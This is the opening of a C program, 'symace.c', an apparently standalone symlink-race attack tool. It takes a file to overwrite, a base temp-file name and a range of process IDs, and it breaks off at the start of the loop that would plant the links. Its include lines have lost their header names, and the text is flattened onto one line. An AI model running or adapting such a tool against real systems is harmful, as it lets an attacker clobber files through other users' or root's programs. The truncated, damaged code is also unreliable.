/* symace.c -0.0.1 - A generic filesystem symlink/race thinger */ #include #include #include #include /* Please note that there is no error checking... */ /* By Andrew Griffiths (nullptr@tasmail.com) */ int main(int argc, char **argv) { char *overwrite; char *base; int start_pid, end_pid; int i, size; overwrite = strdup(argv[1]); size = strlen(argv[2]) + 8 + 1; base = malloc(size); start_pid=atoi(argv[3]); end_pid=atoi(argv[4]); for(i=start_pid;i